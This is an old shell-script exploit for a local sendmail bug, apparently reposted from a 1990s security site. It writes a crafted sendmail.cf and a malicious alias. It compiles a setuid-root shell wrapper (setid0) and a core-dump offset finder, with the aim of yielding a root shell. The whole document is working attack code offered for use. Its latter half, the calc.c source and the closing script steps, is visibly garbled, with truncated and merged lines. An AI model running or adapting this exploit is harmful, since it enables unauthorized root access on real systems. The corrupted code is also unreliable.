# ..:-={{Collaborative Security Information Center}}=-:.. # X-TREME & TECHNOTRONIC Security Collaboration Project # http://www.technotronic.com -=©=- http://www.x-treme.abyss.com # # exploit new sendmail bug to give us a root shell v1.0 24 mar 94 # # "Long Version" - Since we don't know exactly how to get sendmail # to decode aliases with a small config file, I # took a cf file from pine, trimmed it, and it # works fine. # # location of sendmail SENDMAIL=/usr/lib/sendmail # real location of original sendmail.cf file.. no links allowed! CONFIG=/etc/sendmail.cf # program to execute as root SHELL=/bin/csh TEMPDIR=/tmp/sendbug-tmp.$$ mkdir $TEMPDIR chmod 700 $TEMPDIR cd $TEMPDIR cp $SENDMAIL sm chmod 700 sm echo "Creating mail config file..." cat > /tmp/sm.cf << _EOF_ V5 Cwlocalhost CP. DS DR DH DM\$j CLroot CEroot CO @ % ! C.. Kdequote dequote CPREDIRECT De\$j Sendmail \$v/\$Z ready at \$b DlFrom \$g \$d DnMAILER-DAEMON Do.:%@!^/[] Dq\$?x\$x <\$g>\$|\$g\$. DZ2.1 O7False Oa10 OA/tmp/aliases Ob20 OB. OcFalse OC10 Odbackground ODFalse Oem OfTrue OF0600 OGFalse Og1 Oh25 OiFalse OI OjFalse OJ\$z/.forward.\$w:\$z/.forward Ok2 OK5m OlFalse OL9 OmTrue OnTrue OoTrue Opneedmailhelo OQ/var/spool/mqueue OsTrue OT3d/4h Ou0 OU OwTrue Ox8 OX12 OYFalse Pfirst-class=0 Pspecial-delivery=100 Plist=-30 Pbulk=-60 Pjunk=-100 Troot Tdaemon Tuucp H?P?Return-Path: \$g HReceived: \$?sfrom \$s \$.\$?_(\$_) \$.by \$j (\$v/\$Z)\$?r with \$r\$. id \$i\$?u for \$u\$.; \$b H?D?Resent-Date: \$a H?D?Date: \$a H?F?Resent-From: \$q H?F?From: \$q H?x?Full-Name: \$x HSubject: H?M?Resent-Message-Id: <\$t.\$i@\$j> H?M?Message-Id: <\$t.\$i@\$j> S3 R\$@ \$@ <@> R\$*<\$*>\$*<\$*>\$* \$2\$3<\$4>\$5 strip multiple <> <> R\$*<\$*<\$+>\$*>\$* <\$3>\$5 2-level <> nesting R\$*<>\$* \$@ <@> MAIL FROM:<> case R\$*<\$+>\$* \$2 basic RFC821/822 parsing R\$*:;\$* \$@ \$1 :; <@> R@ \$+ , \$+ @ \$1 : \$2 change all "," to ":" R@ \$+ : \$+ \$@ \$>96 < @\$1 > : \$2 handle R \$+ : \$* ; @ \$+ \$@ \$>96 \$1 : \$2 ; < @ \$3 > list syntax R \$+ : \$* ; \$@ \$1 : \$2; list syntax R\$+ @ \$+ \$: \$1 < @ \$2 > focus on domain R\$+ < \$+ @ \$+ > \$1 \$2 < @ \$3 > move gaze right R\$+ < @ \$+ > \$@ \$>96 \$1 < @ \$2 > already canonical R\$- ! \$+ \$@ \$>96 \$2 < @ \$1 .UUCP > resolve uucp names R\$+ . \$- ! \$+ \$@ \$>96 \$3 < @ \$1 . \$2 > domain uucps R\$+ ! \$+ \$@ \$>96 \$2 < @ \$1 .UUCP > uucp subdomains R\$* % \$* \$1 @ \$2 First make them all @s. R\$* @ \$* @ \$* \$1 % \$2 @ \$3 Undo all but the last. R\$* @ \$* \$@ \$>96 \$1 < @ \$2 > Insert < > and finish S96 R\$* < @ localhost > \$* \$: \$1 < @ \$j . > \$2 no domain at all R\$* < @ localhost . \$m > \$* \$: \$1 < @ \$j . > \$2 local domain R\$* < @ localhost . UUCP > \$* \$: \$1 < @ \$j . > \$2 .UUCP domain R\$* < @ [ \$+ ] > \$* \$: \$1 < @ [[ \$2 ]] > \$3 catch [a.b.c.d] R\$* < @ [ \$=w ] > \$* \$: \$1 < @ \$j . > \$3 self-literal R\$* < @ [[ \$+ ]] > \$* \$: \$1 < @ [ \$2 ] > \$3 strip dbl [[]] R\$* < @ \$+ . UUCP > \$* \$@ \$1 < @ \$2 . UUCP > \$3 R\$* < @ \$* \$~P > \$* \$: \$1 < @ \$[ \$2 \$3 \$] > \$4 R\$* < @ \$j > \$* \$: \$1 < @ \$j . > \$2 S4 R\$*<@> \$@ \$1 handle <> and list:; R\$* < @ [ \$+ ] > \$* \$: \$1 < @ \$[ [\$2] \$] > \$3 lookup numeric internet addr R\$* < @ \$+ . > \$* \$1 < @ \$2 > \$3 R\$* < \$+ > \$* \$1 \$2 \$3 defocus R@ \$+ : @ \$+ : \$+ @ \$1 , @ \$2 : \$3 canonical R@ \$* \$@ @ \$1 ... and exit R\$+ @ \$- . UUCP \$2!\$1 u@h.UUCP => h!u R\$+ % \$=w @ \$=w \$1 @ \$j u%host@host => u@host S97 R\$* \$: \$>3 \$1 R\$* \$@ \$>0 \$1 S0 R<@> \$#local \$: <> special case error msgs R\$*:;<@> \$#error \$@ USAGE \$: "list:; syntax illegal for recipient addresses" R\$* < @ [ \$+ ] > \$* \$: \$1 < @ \$[ [\$2] \$] > \$3 numeric internet addr R\$* < @ [ \$+ ] > \$* \$: \$>98 \$1 < @ [ \$2 ] > \$3 numeric internet spec R\$* < @ [ \$+ ] > \$* \$#smtp \$@ [\$2] \$: \$1 @ [\$2] \$3 still numeric: send R\$* < @ > \$* \$@ \$>97 \$1 user@ => user R< @ \$=w . > : \$* \$@ \$>97 \$2 @here:... -> ... R\$* \$=O \$* < @ \$=w . > \$@ \$>97 \$1 \$2 \$3 ...@here -> ... R\$* \$: \$>98 \$1 R\$+ < @ \$=w . > \$: \$1 < @ \$2 @ \$H > first try hub R\$+ < \$+ @ \$+ > \$#local \$: \$1 yep .... R\$+ < \$+ @ > \$#local \$: @ \$1 nope, local address R< @ \$=Z . UUCP > : \$+ \$#uucp-dom \$@ \$1 \$: \$2 @host.UUCP: ... R\$+ < @ \$=Z . UUCP > \$#uucp-dom \$@ \$2 \$: \$1 user@host.UUCP R< @ \$=Y . UUCP > : \$+ \$#suucp \$@ \$1 \$: \$2 @host.UUCP: ... R\$+ < @ \$=Y . UUCP > \$#suucp \$@ \$2 \$: \$1 user@host.UUCP R< @ \$=U . UUCP > : \$+ \$#uucp \$@ \$1 \$: \$2 @host.UUCP: ... R\$+ < @ \$=U . UUCP > \$#uucp \$@ \$2 \$: \$1 user@host.UUCP R\$*<@\$+.BITNET>\$* \$: \$>95 < \$B > \$1 <@\$2.BITNET> \$3 user@host.BITNET R\$*<@\$*.UUCP>\$* \$: \$>95 < \$Y > \$1 @ <\$2.UUCP> \$3 uucp mail R\$* < @ \$* > \$* \$: \$>95 < \$S > \$1 < @ \$2 > \$3 glue on smarthost name R\$* < @\$* > \$* \$#smtp \$@ \$2 \$: \$1 < @ \$2 > \$3 user@host.domain R\$+ \$: \$(dequote \$1 \$) strip quotes R\$+ \$=O \$+ \$@ \$>97 \$1 \$2 \$3try again R\$=L\$#local \$: @ \$1 special local names R\$+ \$#local \$: \$1 regular local names S5 R\$+ \$: \$>95 < \$R > \$1try relay R\$+ \$: \$>95 < \$H > \$1try hub S95 R< > \$* \$@ \$1 strip off null relay R< \$- : \$+ > \$* \$# \$1 \$@ \$2 \$: \$3 try qualified mailer R< \$=w > \$* \$@ \$2 delete local host R< \$+ > \$* \$#relay \$@ \$1 \$: \$2 use unqualified mailer S98 R\$* < @ \$+ .REDIRECT > \$# error \$@ NOUSER \$: "551 User not local; please try " <\$1@\$2> Mlocal, P=/bin/mail, F=lsDFMfmnPS, S=10, R=20/40, A=mail -d \$u Mprog, P=/bin/sh, F=lsDFMeuP, S=10, R=20/40, D=\$z:/, A=sh -c \$u S10 R<@> \$n errors to mailer-daemon R\$+ \$: \$>40 \$1 S20 R\$+ < @ \$* > \$: \$1 strip host part S40 Msmtp, P=[IPC], F=mDFMuX, S=11/31, R=21, E=\r\n, L=990, A=IPC \$h Mesmtp, P=[IPC], F=mDFMuXa, S=11/31, R=21, E=\r\n, L=990, A=IPC \$h Mrelay, P=[IPC], F=mDFMuXa, S=11/31, R=51, E=\r\n, L=2040, A=IPC \$h S11 R\$+ \$: \$>51 \$1sender/recipient common R\$* :; <@> \$@ \$1 :; list:; special case R\$* < @ \$* > \$* \$@ \$1 < @ \$2 > \$3 already qualified R\$* \$@ \$>61 \$1 R\$+ \$: \$>51 \$1 R\$* < @ \$* > \$* \$@ \$1 < @ \$2 > \$3 already qualified R\$+ \$: \$1 < @ \$j > add local domain S31 R\$+ \$: \$>51 \$1sender/recipient common R\$* :; <@> \$@ \$1 :; list:; special case R\$* <@> \$* \$@ \$1 <@> \$2 pass null host through R< @ \$* > \$* \$@ < @ \$1 > \$2 pass route-addr through R\$=E < @ \$=w . > \$@ \$1 < @ \$2 > exposed user as is R\$* < @ \$=w . > \$: \$1 < @ \$M > masquerade as domain R\$* < @ > \$: \$1 < @ \$j > in case \$M undefined R\$* < @ \$* > \$* \$@ \$1 < @ \$2 > \$3 already qualified R\$* \$@ \$>61 \$1 S51 R< @ \$+ > \$* \$@ < @ \$1 > \$2 resolve R\$+ <@ \$+ . BITNET > \$: \$1 % \$2 .BITNET < @ \$B > user@host.BITNET R\$+.BITNET <@ \$+:\$+ > \$: \$1 .BITNET < @ \$3 > strip mailer: part R\$+ <@ \$+ . UUCP > \$: \$2 ! \$1 < @ \$j > user@host.UUCP S61 R\$=E\$@ \$1 < @ \$j> show exposed names R\$+ \$: \$1 < @ \$M > user w/o host R\$+ <@> \$: \$1 < @ \$j > in case \$M undefined Muucp, P=/usr/bin/uux, F=DFMhuU, S=12, R=22, M=100000, A=uux - -r -z -a\$f -gC \$h!rmail (\$u) Msuucp, P=/usr/bin/uux, F=mDFMhuU, S=12, R=22, M=100000, A=uux - -r -z -a\$f -gC \$h!rmail (\$u) Muucp-dom, P=/usr/bin/uux, F=mDFMhu, S=52/31, R=21, M=100000, A=uux - -r -z -a\$f -gC \$h!rmail (\$u) S12 R<@> \$n errors to mailer-daemon R\$* :; <@> \$@ \$1 :; R\$* < @ \$* . > \$1 < @ \$2 > strip trailing dots R\$* < @ \$j > \$1 strip local name R\$* < @ \$- . UUCP > \$2 ! \$1 convert to UUCP format R\$* < @ \$+ > \$2 ! \$1 convert to UUCP format R\$+ \$: \$U ! \$1 prepend our name S22 R\$* :; <@> \$@ \$1 ;: R\$* < @ \$* . > \$1 < @ \$2 > strip trailing dots R\$* < @ \$j > \$1 strip local name R\$* < @ \$- . UUCP > \$2 ! \$1 convert to UUCP format R\$* < @ \$+ > \$2 ! \$1 convert to UUCP format S52 R<@> \$n errors to mailer-daemon R\$* \$@ \$>11 \$1 _EOF_ echo "Creating setid0..." cat > setid.c << _EOF_ /* set uid to zero, thus escaping the annoying csh and solaris sh * problem.. * * if (getuid() != geteuid()) { * printf("permission denied, you root-hacker you.\n"); * exit(1); * } */ #include main(argc, argv) int argc; char *argv[]; { setuid(0); setgid(0); seteuid(0); setegid(0); if (getuid()) { printf("setuid(0); failed! aborting..\n"); exit(1); } if (argc !=2) { printf("executing /bin/sh...\n"); system("/bin/sh"); } else { printf("executing %s...\n", argv[1]); system(argv[1]); } } _EOF_ cc -o setid0 setid.c echo "Creating calc..." cat > calc.c << _EOF_ /* * Determines offset in sendmail of * sendmail.cf file location. */ #include gencore() { int pid; int fd[2]; if(pi(fd) < 0) { perror("pipe"); exit(1); return(0); } pid = fork(nt f = open("./out", ORDWR|O_CREAT, 0666); dup2(f, 1); dup2(fd[0], 0); close(fd[1]); close(fd[0]); execl("./s","sm","-d0-9.90","-oQ.","-bs", 0); sleep(2); kill(pid, 11); } ); close(fd[1]); } main(argc,ar **agv; int argc; { unsigned int ConfFile,tTdvect,off; gencore(); sc(orever to figure this out. */ tTdvect = find("ZZZZZZZZ", "core"); ConfFile =); le) { /* *not found, argh, we fucked up. should not happen, unless you $CONFIG filename or you don't have the bug. * There could also be a probation data * being encrypted in some lame fashion or a corewas not able to be generated (Reports say in some systems, a SEGV will * cause sendmail there w * can still be done by hand :-) */ return(1); } off = ConfFiletf(.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n", off, '/', off+, 't', off+2, ''/', off+5, 'f7, '.', off+8, 'c', off+9, 'f', off+10); } int find(pattern, file char *pafd; ; fd = open(file, 0); i = 0; addr = 0; while(read(fd, &c, 1) == 1f(pattern[i] == c) i++; elsatteraddr -= strlen(attern); return(addr); } addr++; } return(0-o ca"Scanning core image for $CONFIG.." DEBUGFLAGS=`calc $CONFIG` echo ..." echo "#!/bin/sh # this program will be executed when mailis sent to the faris sh and run hen euid != realuid, # we instead run the program we compiled above. od 6755 $TEMPDIR/setid0 /bin/chown root $TEMPDIR/setid0 " > alias.sh chm.she alias file..." echo "yash: |$TEMPDIR/alias.sh" > /tmp/aliases echo "Makin..." echo " helo mail from: rcpt to: data hack hack hack . IL $DEBUGFLAGSle sytems so it appears as a suid file. sync # cleanup in 4 s rm -f $TEMPDIR ; rm -f /tmp/sm.cf ; rm -f /tmp/aliases) etid0 ] then echo "stid0 is a suid shell. executing..." $TEMecho "end of script." exit 0 else echo "setid0 is nopt failed." exit 1 fi